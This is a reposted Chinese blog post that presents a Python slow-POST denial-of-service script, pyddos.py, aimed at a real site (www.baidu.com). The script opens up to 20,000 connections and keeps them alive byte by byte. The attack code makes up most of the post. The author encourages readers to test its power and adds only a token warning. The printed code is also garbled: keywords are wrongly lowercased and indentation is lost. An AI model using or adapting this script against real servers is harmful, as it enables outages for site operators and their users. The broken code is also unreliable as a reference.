gpt4 book ai didi

python版DDOS攻击脚本

转载 作者:qq735679552 更新时间:2022-09-28 22:32:09 41 4
gpt4 key购买 nike

CFSDN坚持开源创造价值,我们致力于搭建一个资源共享平台,让每一个IT人在这里找到属于你的精彩世界.

这篇CFSDN的博客文章python版DDOS攻击脚本由作者收集整理,如果你对这篇文章有兴趣,记得点赞哟.

本文实例为大家分享了python版ddos攻击脚本,供大家参考,具体内容如下 。

于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了.

附上源码pyddos.py

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python
import socket
import time
import threading
#pressure test,ddos tool
#---------------------------
max_conn = 20000
port = 80
host = "www.baidu.com"
page = "/index.php"
#---------------------------
 
buf = ( "post %s http/1.1\r\n"
"host: %s\r\n"
"content-length: 10000000\r\n"
"cookie: dklkt_dos_test\r\n"
"\r\n" % (page,host))
 
socks = []
 
def conn_thread():
  global socks
  for i in range ( 0 ,max_conn):
  s = socket.socket(socket.af_inet,socket.sock_stream)
  try :
  s.connect((host,port))
  s.send(buf)
  print "send buf ok!,conn=%d\n" % i
  socks.append(s)
  except exception,ex:
  print "could not connect to server or send error:%s" % ex
  time.sleep( 10 )
#end def
 
def send_thread():
  global socks
  while true:
  for s in socks:
  try :
  s.send( "f" )
  #print "send ok!"
  except exception,ex:
  print "send exception:%s\n" % ex
  socks.remove(s)
  s.close()
  time.sleep( 1 )
#end def
 
conn_th = threading.thread(target = conn_thread,args = ())
send_th = threading.thread(target = send_thread,args = ())
 
conn_th.start()
send_th.start()

ok,大家可以简单测试下这个脚本的威力,不过希望大家不要用来做坏事儿,同时,稍后我会去找一个python版本的防ddos攻击的脚本,所谓学习攻击的方式是为了更好的抵御攻击.

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持我.

原文链接:https://blog.csdn.net/jeepxiaozi/article/details/8799684 。

最后此篇关于python版DDOS攻击脚本的文章就讲到这里了,如果你想了解更多关于python版DDOS攻击脚本的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。

41 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com